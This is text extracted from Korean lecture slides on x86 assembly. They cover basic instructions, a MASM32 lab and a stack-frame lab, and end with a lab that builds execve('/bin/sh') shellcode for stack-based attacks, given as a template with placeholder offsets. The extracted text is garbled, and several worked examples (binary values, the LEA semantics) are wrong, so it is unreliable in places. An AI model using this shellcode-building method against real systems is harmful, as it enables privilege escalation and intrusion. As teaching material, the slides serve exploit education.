어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4
